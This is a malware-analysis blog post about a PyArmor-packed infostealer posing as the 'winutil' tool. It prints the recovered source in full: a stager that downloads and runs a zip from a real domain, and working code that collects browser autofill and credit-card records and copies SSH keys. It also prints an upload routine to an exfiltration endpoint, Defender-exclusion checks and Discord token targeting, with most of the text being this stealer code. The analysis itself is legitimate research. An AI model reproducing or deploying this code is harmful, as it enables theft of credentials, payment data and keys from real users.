> For the complete documentation index, see [llms.txt](https://malwaresourcecode.com/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://malwaresourcecode.com/home/my-projects/malware-reversing-shorts/2026-07-22-free-ai-goop-malware-source-code.md). # 2026-07-22 - Free AI goop (malware source code) As is tradition, someone DM'd me on X (the everything app, but not really). They said their box was infected with malware and linked a Triage report. The report was ... meh. It was a typical emulation report. It gave a brief overview of it worked but I wanted more. ***"sorry for the header but I’m hoping it got your attention among the thousands of DMs you get. Eric Parker recently made a video talking about a typosquat domain that was impersonating christitus’ tool “winutil”. I was the one who reported the typosquat to Eric’s discord, in which an analyst named Flamma (thisthinkletsyouusereallylongnam is their full username) helped me analyze it." —*** guy on x Okie dokie. Original report with SHA256 and stuff: tl;dr PyArmor stager followed by PyArmor payload, likely all AI slop, reverse engineered payload has debug statements, print statements, and super repetitive code which no actual malware developer would do. Despite this, it appears these Threat Actors have had moderate success. This person downloaded "Update" which was a .zip file. It is masquerading as WINUTILS. It has a PyArmor encoded .py file
This is a very silly file. They used a trial version of PyArmor. I guess we'll bonk it. I bonked it with PyArmorOneShot (I named my directory "aaa", I'm lazy) {% code overflow="wrap" %} ``` python.exe .\shot.py Z:\aaa\aaa\Update\ -e .\pyarmor-1shot.exe -o Z:\aaa\aaa\Update-Unpacked ``` {% endcode %} We get goop: {% code overflow="wrap" %} ``` ____ ____ ( __ ) ( __ ) | |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| | | | ____ _ ___ _ _ | | | | | _ \ _ _ __ _ _ __ _ _ __ ___ _ _ / / __|| |_ ___ | |_ | | | | | |_) | || |/ _` | '__| ' ` \ / _ \| '_| | \__ \| ' \ / _ \| __| | | | | | __/| || | (_| | | | || || | (_) | | | |__) | || | (_) | |_ | | | | |_| \_, |\__,_|_| |_||_||_|\___/|_| |_|___/|_||_|\___/ \__| | | | | |__/ | | |__|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|__| (____) v0.4.0 (____) For technology exchange only. Use at your own risk. GitHub: https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot INFO 2026-07-21 01:10:04,066 Found data in source: SysMon INFO 2026-07-21 01:10:04,067 Using specified executable: .\pyarmor-1shot.exe INFO 2026-07-21 01:10:04,067 Decrypting: 000000 (SysMon) PS Z:\aaa\aaa\oneshot> ``` {% endcode %} Neat, we've pulled a thingie out of SysMon.py. The result is a botched .py file and the raw instructions to SysMon.py (from PyArmor). The main thing of value is this silly guy: {% code overflow="wrap" %} ``` 66 LOAD_CONST 6: '/downloadables/getthemff.zip"\nfilename = os.path.join("getthem.zip")\nwith requests.get(url, stream=True) as r:\n r.raise_for_status()\n r.raw.decode_content = False\n with open(filename, \'wb\') as f:\n for chunk in r.iter_content(chunk_size=8192):\n if chunk:\n f.write(chunk)\n\nverify_download(filename, \'getthemf.zip\')\n\n# Step 2: Extract the ZIP file\n# The extraction command might differ based on your operating system and available utilities\nextract_command = "tar -xf " + filename\nos.system(extract_command)\n\n# Step 3: Execute the program\n# Build the path dynamically to ensure it works regardless of where the script is run from\nextracted_folder_path = os.path.join("getthem") # Assuming the zip extracts into a folder named \'getthem\'python_exe = os.path.join(extracted_folder_path, "python.exe")\nscript_path = os.path.abspath("getthem/got.py")\npython_exe = os.path.abspath("getthem/python.exe")\nexecute_command = [python_exe, script_path, "--host=' 68 LOAD_GLOBAL 0: host 80 FORMAT_VALUE 0 (FVC_NONE) 82 LOAD_CONST 7: '", "--port=' 84 LOAD_GLOBAL 2: port 96 FORMAT_VALUE 0 (FVC_NONE) 98 LOAD_CONST 8: '"]\n\nsubprocess.run(execute_command, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\n' 100 BUILD_STRING 9 102 PUSH_NULL ``` {% endcode %} tl;dr it's downloading this: {% code overflow="wrap" %} ``` https://spc-statistics.net:443/downloadables/getthemff.zip ``` {% endcode %} getthemff ... very cool, I guess...? I guess we'll download it {% code overflow="wrap" %} ``` PS Z:\aaa\aaa> curl.exe -O "https://spc-statistics.net:443/downloadables/getthemff.zip" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 38.9M 100 38.9M 0 0 7463k 0 0:00:05 0:00:05 --:--:-- 7810k ``` {% endcode %} It's free malware. However, it is MORE masquerading malware. It contains more PyArmor stuff. It is also a trial version (again). I guess we'll bonk this now too.... {% code overflow="wrap" %} ``` PS Z:\aaa\aaa\oneshot> python.exe .\shot.py Z:\aaa\aaa\getthem\ -e .\pyarmor-1shot.exe -o Z:\aaa\aaa\getthem-Unpacked ____ ____ ( __ ) ( __ ) | |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| | | | ____ _ ___ _ _ | | | | | _ \ _ _ __ _ _ __ _ _ __ ___ _ _ / / __|| |_ ___ | |_ | | | | | |_) | || |/ _` | '__| ' ` \ / _ \| '_| | \__ \| ' \ / _ \| __| | | | | | __/| || | (_| | | | || || | (_) | | | |__) | || | (_) | |_ | | | | |_| \_, |\__,_|_| |_||_||_|\___/|_| |_|___/|_||_|\___/ \__| | | | | |__/ | | |__|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|__| (____) v0.4.0 (____) For technology exchange only. Use at your own risk. GitHub: https://github.com/Lil-House/Pyarmor-Static-Unpack-1shot INFO 2026-07-21 01:29:10,176 Found data in source: autofill_collector.py INFO 2026-07-21 01:29:10,202 Found data in source: defender_utils.py INFO 2026-07-21 01:29:10,230 Found data in source: discord_tokens.py INFO 2026-07-21 01:29:10,280 Found data in source: getst.py INFO 2026-07-21 01:29:10,317 Found data in source: getws.py INFO 2026-07-21 01:29:10,346 Found data in source: got.py INFO 2026-07-21 01:29:10,622 Found data in source: newst.py INFO 2026-07-21 01:29:10,645 Found data in source: password_manager_scanner.py INFO 2026-07-21 01:29:11,422 Found data in source: system_info_collector.py INFO 2026-07-21 01:29:11,452 Found data in source: test20.py INFO 2026-07-21 01:29:11,669 Found data in source: wallet_collector.py INFO 2026-07-21 01:29:22,627 Found data in source: dist\autofill_collector.py INFO 2026-07-21 01:29:22,653 Found data in source: dist\defender_utils.py INFO 2026-07-21 01:29:22,681 Found data in source: dist\discord_tokens.py INFO 2026-07-21 01:29:22,711 Found data in source: dist\got.py INFO 2026-07-21 01:29:22,730 Found data in source: dist\password_manager_scanner.py INFO 2026-07-21 01:29:22,763 Found data in source: dist\wallet_collector.py INFO 2026-07-21 01:29:22,804 Found new runtime: 000000 (Z:\aaa\aaa\getthem\dist\pyarmor_runtime_000000\pyarmor_runtime.so) ======================== Pyarmor Runtime (Trial) Information: Product: non-profits AES key: ab738f35ffce23b13ae73d5a2c17a896 Mix string AES nonce: 692e6e6f6e2d70726f666974 ======================== INFO 2026-07-21 01:29:31,065 Found new runtime: 000000 (Z:\aaa\aaa\getthem\pyarmor_runtime_000000\pyarmor_runtime.pyd) ======================== Pyarmor Runtime (Trial) Information: Product: non-profits AES key: ab738f35ffce23b13ae73d5a2c17a896 Mix string AES nonce: 692e6e6f6e2d70726f666974 ======================== INFO 2026-07-21 01:29:57,288 Using specified executable: .\pyarmor-1shot.exe INFO 2026-07-21 01:29:57,289 Decrypting: 000000 (autofill_collector.py) INFO 2026-07-21 01:29:57,634 Decrypting: 000000 (defender_utils.py) INFO 2026-07-21 01:29:57,649 Decrypting: 000000 (discord_tokens.py) INFO 2026-07-21 01:29:57,664 Decrypting: 000000 (getst.py) INFO 2026-07-21 01:29:57,686 Decrypting: 000000 (getws.py) INFO 2026-07-21 01:29:57,702 Decrypting: 000000 (got.py) INFO 2026-07-21 01:29:57,715 Decrypting: 000000 (newst.py) INFO 2026-07-21 01:29:57,721 Decrypting: 000000 (password_manager_scanner.py) INFO 2026-07-21 01:29:57,752 Decrypting: 000000 (system_info_collector.py) INFO 2026-07-21 01:29:57,761 Decrypting: 000000 (test20.py) INFO 2026-07-21 01:29:57,768 Decrypting: 000000 (wallet_collector.py) INFO 2026-07-21 01:29:57,780 Decrypting: 000000 (dist\autofill_collector.py) INFO 2026-07-21 01:29:57,803 Decrypting: 000000 (dist\defender_utils.py) INFO 2026-07-21 01:29:57,812 Decrypting: 000000 (dist\discord_tokens.py) INFO 2026-07-21 01:29:57,829 Decrypting: 000000 (dist\got.py) INFO 2026-07-21 01:29:57,838 Decrypting: 000000 (dist\password_manager_scanner.py) INFO 2026-07-21 01:29:57,847 Decrypting: 000000 (dist\wallet_collector.py) ``` {% endcode %} So... we've got some password stealer stuff, some wallet stealer stuff, ... lots of stuff actually... I got the PyArmorOneShot .das (raw bytecode) and coupled with the PyArmorOneShot .py and AI slop machine, I was able to reconstruct their stuff back to original source code. Auto-fill Stealer: {% code overflow="wrap" %} ``` """Browser autofill data collection module""" import json import os import shutil import sqlite3 import tempfile import uuid def collect_autofills(output_folder): """Collect browser autofills and add to output folder as JSON.""" print("[DEBUG] Collecting browser autofills...") local_app_data = os.getenv("LOCALAPPDATA") roaming_app_data = os.getenv("APPDATA") browser_paths = { "Google Chrome": os.path.join( local_app_data, "Google", "Chrome", "User Data" ), "Opera": os.path.join( roaming_app_data, "Opera Software", "Opera Stable" ), "Opera GX": os.path.join( roaming_app_data, "Opera Software", "Opera GX Stable" ), "Brave": os.path.join( local_app_data, "BraveSoftware", "Brave-Browser", "User Data" ), "Edge": os.path.join( local_app_data, "Microsoft", "Edge", "User Data" ), } collected_data = {} data_found = False for browser_name, browser_path in browser_paths.items(): print( f"[DEBUG] Autofill - Checking browser: " f"{browser_name} at {browser_path}" ) if not os.path.exists(browser_path): continue print(f"[DEBUG] Autofill - Browser path exists: {browser_path}") profiles = [ entry for entry in os.listdir(browser_path) if os.path.isdir(os.path.join(browser_path, entry)) and ("Profile" in entry or entry == "Default") ] print( f"[DEBUG] Autofill - Found {len(profiles)} profiles: {profiles}" ) for profile_name in profiles: web_data_path = os.path.join( browser_path, profile_name, "Web Data" ) print( f"[DEBUG] Autofill - Checking Web Data at: {web_data_path}" ) if not os.path.exists(web_data_path): print( f"[DEBUG] Autofill - Web Data file does NOT exist at: " f"{web_data_path}" ) continue print( "[DEBUG] Autofill - Web Data file exists, " "attempting to read..." ) temporary_database = os.path.join( tempfile.gettempdir(), f"temp_webdata_{uuid.uuid4().hex[:8]}.db", ) connection = None try: shutil.copy2(web_data_path, temporary_database) connection = sqlite3.connect(temporary_database) cursor = connection.cursor() profile_data = { "browser": browser_name, "profile": profile_name, "autofill": [], "autofill_profiles": [], "credit_cards": [], } try: cursor.execute( "SELECT name, value, count FROM autofill" ) rows = cursor.fetchall() for row in rows: profile_data["autofill"].append( { "name": row[0], "value": row[1], "count": row[2], } ) print( f"[DEBUG] Found " f"{len(profile_data['autofill'])} autofill entries" ) except Exception as error: print( f"[DEBUG] Error reading autofill table: {error}" ) try: cursor.execute( """ SELECT guid, company_name, street_address, city, state, zipcode, country_code, date_modified, use_count, use_date FROM autofill_profiles """ ) rows = cursor.fetchall() for row in rows: profile_data["autofill_profiles"].append( { "guid": row[0], "company_name": row[1], "street_address": row[2], "city": row[3], "state": row[4], "zipcode": row[5], "country_code": row[6], "date_modified": row[7], "use_count": row[8], "use_date": row[9], } ) print( f"[DEBUG] Found " f"{len(profile_data['autofill_profiles'])} " "address profiles" ) except Exception as error: print( "[DEBUG] Error reading autofill_profiles table: " f"{error}" ) try: cursor.execute( """ SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified, use_count, use_date FROM credit_cards """ ) rows = cursor.fetchall() for row in rows: profile_data["credit_cards"].append( { "guid": row[0], "name_on_card": row[1], "expiration_month": row[2], "expiration_year": row[3], "card_encrypted": ( "ENCRYPTED_DATA_PRESENT" if row[4] else "NO_DATA" ), "date_modified": row[5], "use_count": row[6], "use_date": row[7], } ) print( f"[DEBUG] Found " f"{len(profile_data['credit_cards'])} credit cards" ) except Exception as error: print( f"[DEBUG] Error reading credit_cards table: {error}" ) if ( profile_data["autofill"] or profile_data["autofill_profiles"] or profile_data["credit_cards"] ): result_key = f"{browser_name}_{profile_name}" collected_data[result_key] = profile_data data_found = True print( "[DEBUG] Successfully extracted autofill data from " f"{browser_name} {profile_name}" ) except Exception as error: print( f"[DEBUG] Failed to read autofill from " f"{browser_name} {profile_name}: {error}" ) finally: if connection is not None: connection.close() if os.path.exists(temporary_database): os.remove(temporary_database) if data_found: autofill_folder = os.path.join(output_folder, "Autofill") os.makedirs(autofill_folder, exist_ok=True) output_path = os.path.join( autofill_folder, "autofill_data.json" ) with open(output_path, "w", encoding="utf-8") as output_file: json.dump( collected_data, output_file, indent=2, ensure_ascii=False, ) print( "[DEBUG] Autofill collection completed successfully - " f"saved to {output_path}" ) else: print("[DEBUG] No autofill data collected") return data_found def collect_ssh_keys(output_folder): """Collect SSH keys and add to output folder.""" print("[DEBUG] Collecting SSH keys...") ssh_directory = os.path.join( os.path.expanduser("~"), ".ssh" ) if os.path.exists(ssh_directory): try: output_directory = os.path.join(output_folder, "SSH") os.makedirs(output_directory, exist_ok=True) ssh_files = [ "id_rsa", "id_rsa.pub", "id_dsa", "id_dsa.pub", "id_ecdsa", "id_ecdsa.pub", "id_ed25519", "id_ed25519.pub", "known_hosts", "config", "authorized_keys", ] files_collected = False for filename in ssh_files: source_path = os.path.join(ssh_directory, filename) if not os.path.exists(source_path): continue try: shutil.copy2( source_path, os.path.join(output_directory, filename), ) print(f"[DEBUG] Copied SSH file: {filename}") files_collected = True except Exception as error: print( f"[DEBUG] Failed to copy SSH file " f"{filename}: {error}" ) if files_collected: print("[DEBUG] SSH keys collected successfully") else: print("[DEBUG] No SSH keys found") except Exception as error: print(f"[DEBUG] Error collecting SSH keys: {error}") else: print("[DEBUG] SSH directory does not exist") ``` {% endcode %} Utils: {% code overflow="wrap" %} ``` """Defender check and download utilities.""" import os import socket import subprocess import time import zipfile import requests def check_defender_exclusion(path): """Check whether a path is excluded from Microsoft Defender.""" try: command = ( "Get-MpPreference | " "Select-Object -ExpandProperty ExclusionPath" ) result = subprocess.run( ["powershell", "-Command", command], capture_output=True, text=True, timeout=30, ) if result.returncode == 0: exclusions = result.stdout.strip().split("\n") normalized_target = os.path.normpath(path).lower() for exclusion in exclusions: if not exclusion.strip(): continue normalized_exclusion = os.path.normpath( exclusion.strip() ).lower() if normalized_exclusion == normalized_target: return True return False except Exception as error: print(f"Error checking Defender exclusions: {error}") return False def get_latest_release_url(repo_owner, repo_name, asset_pattern): """Get a matching asset URL from the latest GitHub release.""" try: api_url = ( f"https://api.github.com/repos/" f"{repo_owner}/{repo_name}/releases/latest" ) response = requests.get(api_url, timeout=10) response.raise_for_status() release_data = response.json() for asset in release_data.get("assets", []): if asset_pattern.lower() in asset["name"].lower(): return asset["browser_download_url"] return None except Exception as error: print(f"Error fetching latest release: {error}") return None def download_file(url, dest_path): """Download a file from a URL to a destination path.""" print(f"Downloading from {url}...") response = requests.get(url, stream=True, timeout=30) response.raise_for_status() with open(dest_path, "wb") as output_file: for chunk in response.iter_content(chunk_size=8192): output_file.write(chunk) print(f"Downloaded to {dest_path}") def extract_zip(zip_path, extract_to): """Extract a ZIP file to a directory.""" print(f"Extracting {zip_path}...") with zipfile.ZipFile(zip_path, "r") as archive: archive.extractall(extract_to) print(f"Extracted to {extract_to}") def find_exe_in_directory(directory): """Find the first executable file in a directory tree.""" for root, _, files in os.walk(directory): for filename in files: if filename.lower().endswith(".exe"): return os.path.join(root, filename) return None def create_zip_from_folder(folder_path, zip_path): """Create a compressed ZIP archive from a folder.""" print(f"Creating zip archive: {zip_path}") with zipfile.ZipFile( zip_path, "w", zipfile.ZIP_DEFLATED, ) as archive: for root, _, files in os.walk(folder_path): for filename in files: source_path = os.path.join(root, filename) archive_name = os.path.relpath( source_path, folder_path, ) archive.write(source_path, archive_name) print("Zip created successfully") def upload_file( file_path, host, port, route="/infame/receive/dt", ): """Upload a file to the specified HTTPS endpoint.""" upload_url = f"https://{host}:{port}{route}" with open(file_path, "rb") as input_file: files = { "file": ( os.path.basename(file_path), input_file, ) } response = requests.post(upload_url, files=files) response.raise_for_status() def read_machine_id(): """Read the machine ID, or create a temporary fallback ID.""" machine_id_path = ( r"C:\Windows\SystemHealth\Update\machine_id.txt" ) try: with open(machine_id_path, "r") as input_file: machine_id = input_file.read().strip() return machine_id except Exception as error: print(f"Error reading machine ID: {error}") return f"{socket.gethostname()}_{int(time.time())}" ``` {% endcode %} Discord Tokens: {% code overflow="wrap" %} ``` from __future__ import annotations import os import platform import socket import subprocess import uuid from pathlib import Path from typing import Dict, List, Optional MACHINE_ID_PATH = Path(r"C:\Windows\SystemHealth\Update\machine_id.txt") PUBLIC_IP_SERVICE = "https://api.ipify.org" DISCORD_USER_API = "https://discordapp.com/api/v6/users/@me" DISCORD_SUBSCRIPTIONS_API = ( "https://discordapp.com/api/v6/users/@me/billing/subscriptions" ) EXFILTRATION_ROUTE = "/infame/receive/dt" TOKEN_MARKER = "dQw4w9WgXcQ:" def get_motherboard_serial() -> Optional[str]: command = ( 'powershell "Get-CimInstance Win32_BaseBoard | ' 'Select-Object -ExpandProperty SerialNumber"' ) try: output = subprocess.check_output(command, shell=True) serial = output.decode(errors="replace").strip() return serial or None except Exception: return None def generate_random_id(length: int = 32) -> str: return uuid.uuid4().hex[:length] def get_or_create_machine_id(filename: Path = MACHINE_ID_PATH) -> str: machine_id: Optional[str] = None try: if filename.exists(): machine_id = filename.read_text(encoding="utf-8").strip() else: machine_id = get_motherboard_serial() if machine_id: filename.parent.mkdir(parents=True, exist_ok=True) filename.write_text(machine_id, encoding="utf-8") except Exception: machine_id = None invalid_values = {"default string", "to be filled by oem", "", "none"} if not machine_id or machine_id.lower() in invalid_values: machine_id = generate_random_id() try: filename.parent.mkdir(parents=True, exist_ok=True) filename.write_text(machine_id, encoding="utf-8") except Exception: pass return machine_id def get_candidate_application_paths() -> Dict[str, str]: local = os.getenv("LOCALAPPDATA", "") roaming = os.getenv("APPDATA", "") return { "Discord": roaming + r"\discord", "Discord Canary": roaming + r"\discordcanary", "Lightcord": roaming + r"\Lightcord", "Discord PTB": roaming + r"\discordptb", "Opera": roaming + r"\Opera Software\Opera Stable", "Opera GX": roaming + r"\Opera Software\Opera GX Stable", "Amigo": local + r"\Amigo\User Data", "Torch": local + r"\Torch\User Data", "Kometa": local + r"\Kometa\User Data", "Orbitum": local + r"\Orbitum\User Data", "CentBrowser": local + r"\CentBrowser\User Data", "7Star": local + r"\7Star\7Star\User Data", "Sputnik": local + r"\Sputnik\Sputnik\User Data", "Vivaldi": local + r"\Vivaldi\User Data\Default", "Chrome SxS": local + r"\Google\Chrome SxS\User Data", "Chrome": local + r"\Google\Chrome\User Data\Default", "Epic Privacy Browser": local + r"\Epic Privacy Browser\User Data", "Microsoft Edge": local + r"\Microsoft\Edge\User Data\Default", "Uran": local + r"\uCozMedia\Uran\User Data\Default", "Yandex": local + r"\Yandex\YandexBrowser\User Data\Default", "Brave": local + r"\BraveSoftware\Brave-Browser\User Data\Default", "Iridium": local + r"\Iridium\User Data\Default", } def locate_candidate_artifacts() -> List[dict]: findings: List[dict] = [] for application, base_path in get_candidate_application_paths().items(): base = Path(base_path) local_state = base / "Local State" leveldb = base / "Local Storage" / "leveldb" findings.append( { "application": application, "base_path": str(base), "base_exists": base.exists(), "local_state": str(local_state), "local_state_exists": local_state.exists(), "leveldb": str(leveldb), "leveldb_exists": leveldb.exists(), } ) return findings def get_host_metadata() -> dict: return { "machine_id": get_or_create_machine_id(), "username": os.getenv("USERNAME") or os.getenv("USER"), "computer_name": os.getenv("COMPUTERNAME") or socket.gethostname(), "platform": platform.platform(), "mac_address": ":".join( f"{(uuid.getnode() >> shift) & 0xFF:02x}" for shift in range(40, -1, -8) ), } def decrypt(*args, **kwargs): raise RuntimeError("Credential decryption is disabled in this analysis build") def getip(*args, **kwargs): raise RuntimeError("External IP lookup is disabled in this analysis build") def get_discord_tokens(*args, **kwargs): raise RuntimeError("Discord token harvesting is disabled in this analysis build") def describe_original_behavior() -> dict: return { "searched_artifacts": [ "Local State", r"Local Storage\leveldb\*.ldb", r"Local Storage\leveldb\*.log", ], "token_marker": TOKEN_MARKER, "validation_endpoints": [ DISCORD_USER_API, DISCORD_SUBSCRIPTIONS_API, ], "public_ip_service": PUBLIC_IP_SERVICE, "exfiltration_route": EXFILTRATION_ROUTE, "disabled_capabilities": [ "DPAPI/AES token decryption", "Discord account validation", "subscription lookup", "remote HTTPS submission", ], } ``` {% endcode %} The main stager also has something with Minecraft in it, it also drops XMRig somewhere in this piece of shit, and some basic machine identifying stuff and persistence using Windows Scheduled Tasks. Now that I've reversed a big chunk of it I'm pretty bored. They also named some files "nig". ???